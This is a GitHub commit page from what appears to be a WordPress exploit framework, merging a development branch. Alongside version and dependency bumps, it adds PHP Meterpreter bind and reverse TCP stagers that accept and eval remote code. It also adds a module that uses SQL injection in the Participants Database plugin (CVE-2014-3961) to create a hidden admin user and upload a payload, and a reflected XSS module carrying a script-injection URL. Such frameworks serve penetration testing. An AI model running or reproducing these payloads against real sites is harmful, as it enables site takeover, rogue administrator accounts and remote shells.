Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 97aa402

Browse files
committed
Merge branch 'development'
2 parents c496255 + fec779d commit 97aa402

File tree

333 files changed

+450
-129
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

333 files changed

+450
-129
lines changed

.gitignore

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -91,7 +91,6 @@ sftp-config.json
9191

9292
# Atom Plugins
9393
deployment-config.json
94-
Gemfile.lock
9594

9695
# NPM
9796
node_modules/

.ruby-version

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
2.4.2
1+
2.4.3

.travis.yml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@ language: ruby
22
rvm:
33
- 2.3.5
44
- 2.4.2
5+
- 2.4.3
56
before_install:
67
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
78
script: bundle exec rspec

Gemfile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ source 'https://rubygems.org'
44
gem 'colorize', '>=0.8.1'
55
gem 'mime-types', '>=3.1'
66
gem 'nokogiri', '~>1.8.1'
7-
gem 'require_all', '~>1.4'
7+
gem 'require_all', '~>2.0'
88
gem 'rubyzip', '~>1.2.1'
99
gem 'slop', '~>4.6.0'
1010
gem 'typhoeus', '~>1.3.0'

Gemfile.lock

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
GEM
2+
remote: https://rubygems.org/
3+
specs:
4+
colorize (0.8.1)
5+
diff-lcs (1.3)
6+
ethon (0.11.0)
7+
ffi (>= 1.3.0)
8+
ffi (1.9.18)
9+
mime-types (3.1)
10+
mime-types-data (~> 3.2015)
11+
mime-types-data (3.2016.0521)
12+
mini_portile2 (2.3.0)
13+
nokogiri (1.8.1)
14+
mini_portile2 (~> 2.3.0)
15+
require_all (2.0.0)
16+
rspec (3.7.0)
17+
rspec-core (~> 3.7.0)
18+
rspec-expectations (~> 3.7.0)
19+
rspec-mocks (~> 3.7.0)
20+
rspec-core (3.7.0)
21+
rspec-support (~> 3.7.0)
22+
rspec-expectations (3.7.0)
23+
diff-lcs (>= 1.2.0, < 2.0)
24+
rspec-support (~> 3.7.0)
25+
rspec-mocks (3.7.0)
26+
diff-lcs (>= 1.2.0, < 2.0)
27+
rspec-support (~> 3.7.0)
28+
rspec-support (3.7.0)
29+
rubyzip (1.2.1)
30+
slop (4.6.0)
31+
typhoeus (1.3.0)
32+
ethon (>= 0.9.0)
33+
34+
PLATFORMS
35+
ruby
36+
37+
DEPENDENCIES
38+
colorize (>= 0.8.1)
39+
mime-types (>= 3.1)
40+
nokogiri (~> 1.8.1)
41+
require_all (~> 2.0)
42+
rspec (~> 3.7)
43+
rubyzip (~> 1.2.1)
44+
slop (~> 4.6.0)
45+
typhoeus (~> 1.3.0)
46+
47+
BUNDLED WITH
48+
1.16.1

VERSION

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
1.8.1
1+
1.9

data/php/meterpreter_bind_tcp.php

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
/*<?php /**/ error_reporting(0); if (is_callable('stream_socket_server')) { $srvsock = stream_socket_server("tcp://{$ip}:{$port}"); if (!$srvsock) { die(); } $s = stream_socket_accept($srvsock, -1); fclose($srvsock); $s_type = 'stream'; } elseif (is_callable('socket_create_listen')) { $srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP); if (!$res) { die(); } $s = socket_accept($srvsock); socket_close($srvsock); $s_type = 'socket'; } elseif (is_callable('socket_create')) { $srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); $res = socket_bind($srvsock, $ip, $port); if (!$res) { die(); } $s = socket_accept($srvsock); socket_close($srvsock); $s_type = 'socket'; } else { die(); } if (!$s) { die(); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
/*<?php /**/ error_reporting(0); if (is_callable('stream_socket_server')) { $srvsock = stream_socket_server("tcp://{$ip}:{$port}"); if (!$srvsock) { die(); } $s = stream_socket_accept($srvsock, -1); fclose($srvsock); $s_type = 'stream'; } elseif (is_callable('socket_create_listen')) { $srvsock = socket_create_listen(AF_INET6, SOCK_STREAM, SOL_TCP); if (!$res) { die(); } $s = socket_accept($srvsock); socket_close($srvsock); $s_type = 'socket'; } elseif (is_callable('socket_create')) { $srvsock = socket_create(AF_INET6, SOCK_STREAM, SOL_TCP); $res = socket_bind($srvsock, $ip, $port); if (!$res) { die(); } $s = socket_accept($srvsock); socket_close($srvsock); $s_type = 'socket'; } else { die(); } if (!$s) { die(); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

data/php/meterpreter_reverse_tcp.php

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
/*<?php /**/ error_reporting(0); if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

lib/cli/context.rb

Lines changed: 1 addition & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -19,12 +19,7 @@ def load_module(path)
1919
end
2020

2121
def reload
22-
if @module_path =~ /^exploit\//i
23-
load("#{@module_path.sub('exploit/', 'exploits/')}.rb")
24-
else
25-
load("#{@module_path}.rb")
26-
end
27-
22+
load("#{@module_path}.rb")
2823
load_module(@module_path)
2924
end
3025

lib/wpxf/utility/text.rb

Lines changed: 12 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -40,11 +40,11 @@ def self.rand_alpha(length, casing = :mixed)
4040
# @return [Array] a range of alpha characters in the matching casing.
4141
def self.alpha_ranges(casing)
4242
if casing == :mixed
43-
return [*'A'..'Z', *'a'..'z']
43+
[*'A'..'Z', *'a'..'z']
4444
elsif casing == :upper
45-
return [*'A'..'Z']
45+
[*'A'..'Z']
4646
elsif casing == :lower
47-
return [*'a'..'z']
47+
[*'a'..'z']
4848
end
4949
end
5050

@@ -66,7 +66,15 @@ def self.rand_email
6666
# Generate a random month name.
6767
# @return [String] the month name.
6868
def self.rand_month
69-
%w(january february march april june july august september october november december).sample
69+
%w[january february march april june july august september october november december].sample
70+
end
71+
72+
# Convert each byte of a string to its hexadecimal value and
73+
# concantenate them together, to provide a hexadecimal string.
74+
# @param value [String] the string to hexify.
75+
# @return [String] the hexadecimal string.
76+
def self.hexify_string(value)
77+
value.each_byte.map { |b| b.to_s(16) }.join
7078
end
7179
end
7280
end

modules/exploits/aries_revslider_shell_upload.rb renamed to modules/exploit/shell/aries_revslider_shell_upload.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
11
# frozen_string_literal: true
22

3+
require_rel './revslider_shell_upload'
4+
35
class Wpxf::Exploit::AriesRevsliderShellUpload < Wpxf::Exploit::RevsliderShellUpload
46
def initialize
57
super

modules/exploits/charity_theme_shell_upload.rb renamed to modules/exploit/shell/charity_theme_shell_upload.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
# frozen_string_literal: true
22

33
require 'socket'
4+
require_rel './simplecart_shell_upload'
45

56
class Wpxf::Exploit::CharityThemeShellUpload < Wpxf::Exploit::SimplecartShellUpload
67
include Wpxf

modules/exploits/mobile_app_builder_shell_upload.rb renamed to modules/exploit/shell/mobile_app_builder_shell_upload.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
11
# frozen_string_literal: true
22

3+
require_rel './mobile_app_native_v3_shell_upload'
4+
35
class Wpxf::Exploit::MobileAppBuilderShellUpload < Wpxf::Exploit::MobileAppNativeV3ShellUpload
46
def initialize
57
super
Lines changed: 153 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,153 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::ParticipantsDatabaseV1548ShellUpload < Wpxf::Module
4+
include Wpxf
5+
include Wpxf::WordPress::Plugin
6+
7+
def initialize
8+
super
9+
10+
update_info(
11+
name: 'Participants Database <= 1.5.4.8 Shell Upload',
12+
desc: %(
13+
In versions <= 1.5.4.8 of the Participants Database, anonymous users
14+
are able to execute arbitrary SQL statements. This module utilises
15+
this vulnerability to create a new admin user and upload a payload
16+
masked as a plugin.
17+
),
18+
author: [
19+
'Yarubo Research Team', # Vulnerability discovery
20+
'rastating' # WPXF module
21+
],
22+
references: [
23+
['CVE', '2014-3961'],
24+
['WPVDB', '7247'],
25+
['EDB', '33613']
26+
],
27+
date: 'Aug 01 2014'
28+
)
29+
30+
register_options([
31+
StringOption.new(
32+
name: 'sign_up_path',
33+
desc: 'The relative path of the Participants Database sign up page',
34+
required: true
35+
),
36+
StringOption.new(
37+
name: 'wp_prefix',
38+
desc: 'The database table prefix. Default: wp_',
39+
required: true,
40+
default: 'wp_'
41+
),
42+
IntegerOption.new(
43+
name: 'user_id',
44+
desc: 'The ID number to use for the new admin account',
45+
required: true,
46+
default: (60_000..90_000).to_a.sample
47+
),
48+
StringOption.new(
49+
name: 'username',
50+
desc: 'The username to use for the new admin account',
51+
required: true,
52+
default: Utility::Text.rand_alpha(6)
53+
),
54+
StringOption.new(
55+
name: 'password',
56+
desc: 'The password to use for the new admin account',
57+
required: true,
58+
default: Utility::Text.rand_alpha(6)
59+
),
60+
StringOption.new(
61+
name: 'email',
62+
desc: 'The e-mail address to use for the new admin account',
63+
required: true,
64+
default: Utility::Text.rand_email
65+
)
66+
])
67+
end
68+
69+
def check
70+
check_plugin_version_from_readme('participants-database', '1.5.4.9')
71+
end
72+
73+
def sign_up_url
74+
normalize_uri(full_uri, datastore['sign_up_path'])
75+
end
76+
77+
def user_id
78+
normalized_option_value('user_id')
79+
end
80+
81+
def hexified_username
82+
"0x#{Utility::Text.hexify_string(datastore['username'])}"
83+
end
84+
85+
def password_hash
86+
Utility::Text.md5(datastore['password'])
87+
end
88+
89+
def hexified_password_hash
90+
"0x#{Utility::Text.hexify_string(password_hash)}"
91+
end
92+
93+
def hexified_email
94+
"0x#{Utility::Text.hexify_string(datastore['email'])}"
95+
end
96+
97+
def table_name(name)
98+
"#{datastore['wp_prefix']}#{name}"
99+
end
100+
101+
def new_user_sql
102+
[
103+
"insert into #{table_name('users')}",
104+
'(ID, user_login, user_pass, user_nicename, user_email, user_status, display_name)',
105+
'values',
106+
"(#{user_id}, #{hexified_username}, #{hexified_password_hash}, #{hexified_username}, #{hexified_email}, 0, #{hexified_username});"
107+
].join(' ')
108+
end
109+
110+
def user_meta_sql(key, value)
111+
[
112+
"insert into #{table_name('usermeta')}",
113+
'(user_id, meta_key, meta_value) values',
114+
"(#{user_id}, 0x#{Utility::Text.hexify_string(key)}, 0x#{Utility::Text.hexify_string(value)})"
115+
].join(' ')
116+
end
117+
118+
def execute_sql_query(query)
119+
builder = Utility::BodyBuilder.new
120+
builder.add_field('action', 'output CSV')
121+
builder.add_field('subsource', 'participants-database')
122+
builder.add_field('CSV_type', 'participant list')
123+
builder.add_field('query', query)
124+
125+
builder.create do |body|
126+
execute_post_request(url: sign_up_url, body: body)
127+
end
128+
end
129+
130+
def update_user_meta(key, value)
131+
execute_sql_query(user_meta_sql(key, value))
132+
end
133+
134+
def execute_payload
135+
emit_info 'Uploading the payload...'
136+
cookie = authenticate_with_wordpress(datastore['username'], datastore['password'])
137+
res = wordpress_upload_and_execute_payload_plugin(Utility::Text.rand_alpha(6), Utility::Text.rand_alpha(6), cookie)
138+
res&.code != 404
139+
end
140+
141+
def run
142+
return false unless super
143+
144+
emit_info 'Creating a new user...'
145+
execute_sql_query(new_user_sql)
146+
147+
emit_info 'Elevating user privileges...'
148+
update_user_meta('wp_user_level', '10')
149+
update_user_meta('wp_capabilities', 'a:1:{s:13:"administrator";b:1;}')
150+
151+
execute_payload
152+
end
153+
end

modules/exploits/premium_seo_pack_shell_upload.rb renamed to modules/exploit/shell/premium_seo_pack_shell_upload.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
11
# frozen_string_literal: true
22

3+
require_rel './woocommerce_amazon_affiliates_v8_shell_upload'
4+
35
class Wpxf::Exploit::PremiumSeoPackShellUpload < Wpxf::Exploit::WoocommerceAmazonAffiliatesV8ShellUpload
46
def initialize
57
super

modules/exploits/adsense_plugin_reflected_xss_shell_upload.rb renamed to modules/exploit/xss/reflected/adsense_plugin_reflected_xss_shell_upload.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
11
# frozen_string_literal: true
22

3+
require_rel './bws_panel_reflected_xss_shell_upload'
4+
35
class Wpxf::Exploit::AdsensePluginReflectedXssShellUpload < Wpxf::Exploit::BwsPanelReflectedXssShellUpload
46
def initialize
57
super
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::SplashingImagesReflectedXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::ReflectedXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'Splashing Imagges 2.1 Reflected XSS',
11+
author: [
12+
'Nicolas Buzy-Debat', # Discovery
13+
'Paul Williams <phyushin[at]phyubox.com>' # WPXF module
14+
],
15+
references: [
16+
['CVE', '2018-6194'],
17+
['WPVDB', '9016'],
18+
['URL', 'http://seclists.org/fulldisclosure/2018/Jan/91']
19+
],
20+
date: 'Jan 26 2018'
21+
)
22+
end
23+
24+
def check
25+
check_plugin_version_from_readme('wp-splashing-images', '2.1.1')
26+
end
27+
28+
def vulnerable_url
29+
normalize_uri(wordpress_url_admin, 'upload.php')
30+
end
31+
32+
def url_payload
33+
url_encode("\"><script>#{xss_ascii_encoded_include_script}</script>")
34+
end
35+
36+
def url_with_xss
37+
"#{vulnerable_url}?page=wp-splashing&search=#{url_payload}"
38+
end
39+
end

0 commit comments

Comments
 (0)